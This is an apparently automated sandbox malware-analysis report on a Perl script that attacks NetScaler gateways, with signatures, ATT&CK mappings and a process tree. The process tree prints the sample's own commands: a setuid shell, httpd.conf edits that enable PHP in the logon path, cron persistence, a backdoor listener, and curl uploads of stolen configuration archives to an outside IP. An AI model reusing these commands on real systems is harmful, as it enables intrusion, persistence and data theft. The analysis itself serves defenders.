4b0c3ebbe916831371b16cc4226079b6abde97245f24e5aa868a9786d4b2a152

Analysis

max time kernel
24s
max time network
31s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/10/2026, 19:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4b0c3ebbe916831371b16cc4226079b6abde97245f24e5aa868a9786d4b2a152.pl
Size 25KB
Sample261003-xv663sfa52
SHA256 4b0c3ebbe916831371b16cc4226079b6abde97245f24e5aa868a9786d4b2a152
MD5 84036e61c5d7ad0e4b76b582110901f3
SHA1 34e116e28f02d22d7b8c30f8153c022c330c29ba
SHA512 8b2ecb4bca8301c233e92314f198bba85dee5610f7c5e02f25a9602740a51558fb390cafa1f2a02e79e5021f08ef3dfd077f1c057b6871f3c4f44873b2a67c6b
SSDEEP 768:tFxadn2345FPWdWmS1nwuxli8o7TUILRinUKtXgZC17:dQ2I5FPWdPSNwuxli8o80RinhXgZ07
TLSH
T1B4C2EAC17C6E5DB183D7C47CEB9AD44177675447240A2464B8BCA3BCAF68434E2F2AE8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.tJObEd	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 3 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
726	sh
812	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/219/cmdline	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/138/cmdline	pkill
File opened for reading	/proc/642/status	pkill
File opened for reading	/proc/298/status	pkill
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/313/stat	ps
File opened for reading	/proc/313/cmdline	ps
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/320/stat	ps
File opened for reading	/proc/12/cmdline	ps
File opened for reading	/proc/643/cmdline	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/320/status	pkill
File opened for reading	/proc/639/status	pkill
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/109/stat	ps
File opened for reading	/proc/641/cmdline	pkill
File opened for reading	/proc/3/stat	ps
File opened for reading	/proc/649/status	ps
File opened for reading	/proc/640/status	pkill
File opened for reading	/proc/26/cmdline	pkill
File opened for reading	/proc/283/status	ps
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/590/status	pkill
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/138/cmdline	ps
File opened for reading	/proc/219/stat	ps
File opened for reading	/proc/649/cmdline	ps
File opened for reading	/proc/578/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/287/status	pkill
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/640/cmdline	ps
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/578/status	ps
File opened for reading	/proc/670/cmdline	ps
File opened for reading	/proc/43/status	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/320/status	pkill
File opened for reading	/proc/135/status	pkill
File opened for reading	/proc/1/cmdline	ps
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/26/stat	ps
File opened for reading	/proc/28/cmdline	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/297/status	pkill
File opened for reading	/proc/42/stat	ps
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/219/status	ps
File opened for reading	/proc/297/status	ps
File opened for reading	/proc/633/cmdline	pkill
File opened for reading	/proc/25/cmdline	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/631/stat	ps
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/24/cmdline	pkill
File opened for reading	/proc/287/status	pkill

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
710	pkill
726	sh
727	gzip
812	sh
813	gzip

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.slap.cron	4b0c3ebbe916831371b16cc4226079b6abde97245f24e5aa868a9786d4b2a152.pl

/tmp/4b0c3ebbe916831371b16cc4226079b6abde97245f24e5aa868a9786d4b2a152.pl
/tmp/4b0c3ebbe916831371b16cc4226079b6abde97245f24e5aa868a9786d4b2a152.pl
1⤵
- Writes file to tmp directory
PID:643
- /bin/mkdir
  mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
  2⤵
  PID:645
- /bin/cat
  cat
  2⤵
  PID:648
- /bin/cat
  cat
  2⤵
  PID:650
- /bin/mkdir
  mkdir -p /var/tmp/.ux
  2⤵
  - Reads runtime system information
  PID:653
- /bin/cat
  cat
  2⤵
  PID:656
- /bin/cat
  cat
  2⤵
  PID:660
- /bin/cat
  cat
  2⤵
  PID:662
- /bin/chmod
  chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
  2⤵
  PID:665
- /bin/cat
  cat
  2⤵
  PID:668
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
  2⤵
  PID:673
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
  2⤵
  PID:675
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
  2⤵
  PID:679
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
  2⤵
  - Reads runtime system information
  PID:681
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
  2⤵
  PID:682
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
  2⤵
  - Reads runtime system information
  PID:685
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:687
- /bin/chmod
  chmod 6555 /bin/sh
  2⤵
  PID:688
- /bin/chmod
  chmod 700 /nsconfig/.slap/boot.sh
  2⤵
  PID:690
- /usr/bin/perl
  perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
  2⤵
  PID:691
- /bin/grep
  grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
  2⤵
  PID:693
- /bin/cp
  cp /etc/httpd.conf /etc/httpd.conf.slap.bak
  2⤵
  PID:694
- /bin/cat
  cat
  2⤵
  PID:695
- /usr/bin/perl
  perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
  2⤵
  PID:696
- /bin/grep
  grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
  2⤵
  PID:697
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:698
- /bin/grep
  grep -q "[.]slap/agent.pl"
  2⤵
  PID:700
- /bin/ps
  ps -axww
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:699
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
  2⤵
  PID:702
- /usr/bin/setsid
  /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:701
- /bin/perl
  /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:701
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
  2⤵
  PID:703
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:704
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
  2⤵
  PID:705
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
  2⤵
  PID:706
- /usr/bin/crontab
  crontab /tmp/.slap.cron
  2⤵
  - Creates/modifies Cron job
  - Reads runtime system information
  PID:707
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/slapshot.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:709
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/whipd.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:710
- /bin/date
  date -u
  2⤵
  PID:713
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:711
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:712
- /usr/bin/id
  id
  2⤵
  PID:714
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:711
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:712
- /bin/uname
  uname -a
  2⤵
  PID:715
- /bin/ls
  ls -l /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /etc/httpd.conf
  2⤵
  PID:716
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:717
- /bin/grep
  grep -in php /etc/httpd.conf
  2⤵
  PID:718
- /usr/bin/tail
  tail -n 80
  2⤵
  PID:719
- /bin/sed
  sed -n "1395,1425p" /etc/httpd.conf
  2⤵
  PID:720
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error_log
  2⤵
  PID:721
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error.log
  2⤵
  PID:722
- /usr/bin/tail
  tail -n 40 /var/log/ns.log
  2⤵
  PID:723
- /bin/mkdir
  mkdir -p /var/tmp/.s2loot
  2⤵
  - Reads runtime system information
  PID:724
- /bin/tar
  tar czf /var/tmp/.s2loot/nsconfig.tgz .
  2⤵
  PID:725
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:726
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:727
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/db6c6c/loot_nsconfig.tgz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:728
- /bin/tar
  tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak
  2⤵
  PID:811
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:812
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:813
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/db6c6c/loot_nshist.tgz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:814
- /bin/rm
  rm -rf /var/tmp/.s2loot
  2⤵
  PID:815
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/db6c6c/loot_httpd.conf
  2⤵
  - Checks CPU configuration
  PID:816
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/db6c6c/loot_diag.txt
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:819

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

agent.pl

Path /nsconfig/.slap/agent.pl
Size 4KB
SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
MD5 de6f7c87e8f5be485243441ae7ab5bd0
SHA1 7249acf88b30ad5b7bbf3c10299e16780f3d0dac
SHA512 88b9e76e1aac24b7f7806d3b8dbcd8ccda912b0f390b8fee2c18cbe5dd4d6494d579a8e0e0981fdcc1b3c2e31d8374f861d37c077d13ef1a018139e357c7f668
SSDEEP 96:IFWaH88gEe/qnao0AHt2tRqS2kJRCR7jXCtJrC9SAqCGCSeCvCSEx3a32Q:IFW+hD2tRgwt4UADH4K1Ba32Q
TLSH
T10E81CE843DFBAA7684F2D02CEFDAC41171B9849B8509E9A07D7C42BCAF45930D6F52C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boot.sh

Path /nsconfig/.slap/boot.sh
Size 3KB
SHA256 af7a3af465c95e997e1476b0c2db852b26169d4a5647a445ff46a54a86a75cf8
MD5 14d4a6c791452d159199b9f53b74d98b
SHA1 4c50e3dd1031687052bb49ee8cf44b9b77ea1600
SHA512 5185f30591cf4ec5edd11471f5c7bd5d1b537e123736ee7f3afda53cdcfc7b4034237ba100f9f39cc045034cebb2205184c589a7c0c9589eed4fe1bf0488e1a8
TLSH
T1D47185F3B40E9EF62DD989BCB39D85497BC282691C252965F049B634A4BC248F0B6178
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.pl

Path /nsconfig/.slap/bridge.pl
Size 697B
SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
MD5 bc21f7306742c9e9d2f10a3542463be2
SHA1 237ca70151ef13c42c5bbdc7c553bc561a90db08
SHA512 af47a95a1d6455c62e978ae3b8dc50cb3216968a56039bd2904c2d1cf5e70d055a21af09f187eb5663cd8c02b78b26da08ce3070c098f92390966247aa087d57
TLSH
T1E601FE204CD34B51C0FEA04AF608914792CA843B4EAAB8BE7E50478E9F04374B0F76C0
MD5 SHA1 SHA512 TLSH

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 37B
SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
MD5 d5800c883436ef1f94115dcab532015a
SHA1 a46bf0376f7876ce348c8a0d053762291f08ea33
SHA512 a4bb5355a14d262c50307f77c1806751ae606aff6022af4c515311a6d3f289d72f7110a9bc7c71b1af74f90ccf569dbc168646292761e2c0ad9e11c6c36034af
MD5 SHA1 SHA512

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 71B
SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
MD5 79b9b312be1c2b9d60a03e736eae4c5f
SHA1 09fce7d4b32dcba305a2d07f80a4292e0d4347e5
SHA512 a244df78c6246342d607320f603d85946d0b5e6d8cd723446c2c8638ae42c1ba8132b3d93a24f5923ff9f6cc5b5961885d54e77a1838990b42507efa94d3e9cc
TLSH
T17DA0024A260CEDF3CFCB9AB4D65724AA3F5142843E410521B404F2C4E8201CE7E39004
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 45B
SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
MD5 80bdf2e82a187390554f344fe42b85e5
SHA1 8fce99a4a31526033f92cb5428491d9fdf911946
SHA512 b61ac653dd02118ad48ac80add43744cac3b338aeb7ce3dee36e63ca64380330a909d3dcfaf5a2c628b3ad91efed2e9e7b0988f8b694fee000c753402f5ed580
MD5 SHA1 SHA512

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 89B
SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
MD5 51981d72e97719cd5b287c7dbb830cfd
SHA1 e093784d86c1d60bbd0b19545644f4156cafca3b
SHA512 bc62e23c068936d26a421d72673a67417dd4edc1a2bc53ff403169ea37b05301cfb761da422b9e9fbb2e6e96ed0117e3c1b61689d3b5d03b4ca3b8f6a03d067d
TLSH
T154B0013A950CADF78A8E5AB8E3A638BE7E1643843E410561745CF2C4E82C38F7A39000
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.receiver

Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
Size 493B
SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
MD5 7279e5629e02ea3fc9392365f1c005c6
SHA1 838103a40d8530ae9a7eaaf3467aa653443b1bd7
SHA512 3040631b49a846d2c65aa11b23b366b3bfc59adbdd612462549dd421a2fdf5309114af5a078bc6b416f82ee2eabea14120da3108d73c65dd8d6c076fad3a6941
TLSH
T1F9F09E0C31E625B1CDBFBC70D75E2C08A1690001151A9A5138C25DCD1DF812D96B68E6
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.tJObEd

Path /var/spool/cron/crontabs/tmp.tJObEd
Size 278B
SHA256 f94840df094de84f9880c016aaff64002e625517abd7bc90370dad8d927c5b4e
MD5 a1553053900114649e3005f409289149
SHA1 eb6242f470c10e34ca33a89eb6c24595f957366e
SHA512 ae62d3686d81d1ab28caa304bd52c74258ccdbd281dec426ff8849c3c8a78ed5c6e2891bbaba2239c3f58e8caffcb2cfe6d6641d34919c483ad602e9dbbc39e2
TLSH
T101D02B3D2B04EDB38A4907F492AB283DAD41E17C58094D11F09DA054911A34F3F70461
MD5 SHA1 SHA512 TLSH

Submit Download

hist.tgz

Path /var/tmp/.s2loot/hist.tgz
Size 45B
SHA256 dffe9cde99b5e98a5a618d14efe33c1a89976efa738cf7560f3028c94d84a58a
MD5 9284ea41d3ff5b949ca0a67d351b671f
SHA1 6fc89b095e8a1954cba0b95418a50a0cf6932ceb
SHA512 97a8b7f2c275d2bcd5875f2e9153e17ed601814e155b521a07f0e5499f222dd4ea1c961f0439c3a0a67182a0651316d245fb21659d6554b134ca81da23e1a0c1
MD5 SHA1 SHA512

Submit Download

nsconfig.tgz

Path /var/tmp/.s2loot/nsconfig.tgz
Size 3KB
SHA256 09cd8d23753a1d995db94257feebc5d6bd188b65bf71ee063bde6a18f130a515
MD5 5d00ce9d15a91a4f697931b56cf9dde2
SHA1 717cedcf5a0c30db4eccb4aacc85a89b92461655
SHA512 e4f48d1c8c7fcaf12dd44897340e2a66ce3af3ad3e449b82307c0da2b6aed1c1df8e3d43e955e0ad84c6b2c1710c0fe70af35df686b4040c2eac11c10ca3a753
TLSH
T1A6617F0E55AAD6F0D1998519AE744A8894B7E2F61C0CA64CB016F7CCB8C2D4DE0AE744
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-agent.log

Path /var/tmp/.slap-agent.log
Size 63B
SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
MD5 2139e7e90aa4d9d126e20970e8149fbd
SHA1 ceb75170a5d023fcdabfb170ee52b2c5e83fea2b
SHA512 b0d1e4592a87f22f161b269b00f32eebba8d4ef1400d78d26c1ae9f5293321cb76e9bce56aa641ff69152096fb9234807a700b19882d1806d616003936c1c6ac
TLSH
T18DA0021259D961541A9629915319ECF68717004F2F0E1225E1704304A427A74B6DFAC2
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 54B
SHA256 74bbbf92c1eefb70d9c720aa1844cbd9d796b1e4d5368cc2f05b3fcd57b4c73d
MD5 8cc431bf00481814a586377d970cc70d
SHA1 7778370b1f790e3e0fa6019e71dbd65339b72756
SHA512 1339bae6ec8c7014e50f2abf22ba4490f338053ea46d03d889dd0539860a11867a92662ff3e595927b838bc81b4fe08a25244b0408c843020cf484139c3fd4b3
TLSH
T19B9002B553045A65146754C679E58D05022794ED045CD561966183E146820170749B41
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 93B
SHA256 55ec26de2fefea00bd371180d595eb7b0ff2450521d4a81734b5f24badf4ea12
MD5 35f9f9514d888b0cf9c478f3c14090ac
SHA1 4673e9c935dad8a1cbdf5171181cbf7ca079522f
SHA512 9454d010868515a4d9223f3265ec1936cb59577d801eeb4df3914c1de7dfe388b94049896c9a62f927b9ef9a167491d1b7acb6c67f70f1ea7462a3b6abef2f67
TLSH
T1BEB0127003105512206380D5F4F04DC70233D8D80258BC10AB90C3D3414110A1345701
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 202B
SHA256 239477e316c5982fd4c07b46d8df4dd5ca7f68c3859b8ea22fed111a33a9255b
MD5 8cf92123d61d504aeb2ab6f32ba2b473
SHA1 cfe254fd1a398236b9482588b33606a21dd7db7b
SHA512 797c18ed53560894c0e9f32d4c99f00513634f7f7322ca4790a9f89c2d0172cef292da55e3ddab10b78bfb92d0f9bb1ebd09ad2fc3860d52b2142575a82cb6e8
TLSH
T15FD02290336067C30983D8C2F4F68DAA827794A60A29BB04FA4DC3D2022110F5743E40
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 226B
SHA256 3cf102ab79f34bab013bfa0399bf5252e40c0c542d715dd3d7c0839b745a300b
MD5 35bff89f440a7b562eae616c890f01e1
SHA1 c903782b74e7d41c6b84af2a00b9ca7fa588cf77
SHA512 3c26f40e831ce27ecdf14151980f9145cb0048996ec32b1f6ceb412e9185bea3fa096ab4bd5cfc3ff15d3e46075a4aa4ae9fd70dc3fa891bbd0d7701612a9c3c
TLSH
T1CDD0A7903260A6D34993D8C6F4F68DAA417794D50A29BB04AA5D97D2061510E6753B41
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 843B
SHA256 a03afd82a24a63b6cf76bc89892c89daa63f9f5d55b6c95fb82aa96a0f0a48b9
MD5 44e8942b5695cbb0b58fe49a0b09a585
SHA1 5147b92782304ab36900102f38425fa9f8215098
SHA512 0cddcdb8783cf3779426966a2516164a1fa4ecdcb35ccc1cb1f15ee860ec4260367f6d084e838ad86e8755ed92d8d15053311b3fcc4c64f93a2e4ca181073c3b
TLSH
T1E001EFD3B40AD2730BD2CDF2A49A4BE5D263A0A50D0C7AD89ADD9364C2021CA1F53A2C
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-httpd-test.log

Path /var/tmp/.slap-httpd-test.log
Size 175B
SHA256 eacee57779a972744ad6bc45b3a93fe47db96084f5a6f5f0e5c158bb491caaeb
MD5 953cea1b2912ecb2653ee0b6760f68dd
SHA1 4b951a26bd7f95f64a689a76175778ca7e4460b0
SHA512 ef60efe1327fdfc435a8e1ecf3332a64056b810e5d93b8979a0b29e9127b2acc85d7f460fd1570b2760278b6b0ad61a7c739374af75ff2781264abf20192478c
TLSH
T16CC080B7720366B04F07CB13118459E7B78371C41D0050D5D15D85F6D001ADD39530F9
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path /var/tmp/.ux/agent.log
Size 55B
SHA256 b18a7d7f77bf66a6d0be9cb8e1c6943644150cc63d317901ff2ac5a3c597be06
MD5 9da6a569f7f3c2ae6f7dd1bd19b23856
SHA1 ff7e179adff31467ab11050d8b87938086e3709d
SHA512 9983c9e22762dd26e7ccedcd89bf304e2af055b86421fe805b38192f737b643c371db23cfb4aec9989c2e166073b1f1492563284a63acd650a878fc63d651674
TLSH
T1759002651510A0AF11E28346727542DAD516D147029424207A55058240964159231010
MD5 SHA1 SHA512 TLSH

Submit Download

slapshot.py

Path /var/tmp/.ux/slapshot.py
Size 7KB
SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
MD5 24f4f949a8df9cb4be3cf8d0cb89eb5d
SHA1 68b56277c3f88b78209fe8dfb4bbeff0b071292d
SHA512 a6ba111301443af786012e1258a77d44239de3bdd997cb8755b5f4cc97ec7236125b2999baa5e4e8f49cd2be4448bff818552db7841b9bd28483976bfd96f61d
SSDEEP 96:M56N8NbBZ2Ok7bsOwFF5r5QYm97WmVUgwyXGoFPWnXAuxuBTFiUbcjHa:wF2345FP3mdWmSgwy9WnXAuxKc3Ha
TLSH
T131F13F86AC645965C397C8965C62E4427727BC07725E1138FAFCC3E42FA887582F1EF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

whipd.py

Path /var/tmp/.ux/whipd.py
Size 4KB
SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
MD5 9753dbf79692d424d30abaf39e776a1e
SHA1 8ee23e2fc68366e9a07d8fd682bdb3539573a44f
SHA512 3a886d2a3671b85979d2afaf214efc94f5c1c4786f8d6dd7b314deb945ae39d871992d45034e8492177f016e5e630a3a37f1efdc5d74d20997261e581b523719
SSDEEP 96:kXai6ZdGd3Tgwy8rnQP71TKml0eK3uVUKigRRGLZq5XFEqhi:q6ZItgwyqQP7AgXK3umKigRRGLZqLEqI
TLSH
T125A18602586959F49343C52698E3F956E73E3917200F24A9397DD3C91F64876C2B2EFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads